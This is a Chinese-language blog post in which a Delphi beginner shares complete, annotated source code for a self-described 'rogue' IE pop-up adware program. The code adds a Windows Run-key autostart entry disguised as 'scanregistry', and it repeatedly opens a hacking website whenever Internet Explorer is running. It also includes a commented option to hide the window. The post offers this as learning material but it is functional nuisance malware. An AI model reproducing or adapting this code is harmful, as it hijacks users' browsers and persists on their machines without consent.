Delphi零基础我也要编写IE弹窗流氓插件

我是刚开始学Delphi的,应该说是零基础,不过那是Delphi,我可没说没有VB基础。我的VB学得还是不错的,有了比较扎实的VB功底,学起Delphi来果然是轻松许多。这个IE弹窗广告插件代码是参考了X档案上的,不过我是初学者,学习一下是非常有必要的。
源代码如下(我已做好了详细的解释):
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,registry, ExtCtrls, shellapi;
type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
reg:tregistry;
hwnd:thandle;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
//application.showmainform=false //隐藏窗体。这里是演示,就不隐藏了。
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); //true应该是覆盖。
reg.writestring('scanregistry','ad.exe'); //以上三行就是写入注册表的启动项。
reg.closekey;
reg.free;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
hwnd:=findwindow('IEframe',nil);//调用Findwindow函数来查找浏览器是否运行。
if hwnd<>0 then //如果浏览器正在运行,那么...
shellexecute(0,'open','iexplore.exe','http://www.hack520.org','',SW_SHOWNORMAL);
//打开www.hack520.org这个网站,这里shellexecute的用法跟VB的一样。
end;
end.
不要忘了设置计时器的Interval属性,用来确定多少时间间隔来弹出IE网页。
只要有VB的功底,代码看起来并不难,不过它调用API函数的方式与VB不同,看来接下去的学习中要特别注意一下。
既然来了,就写两句吧~
是啊,密码不好用哦!没法安装。...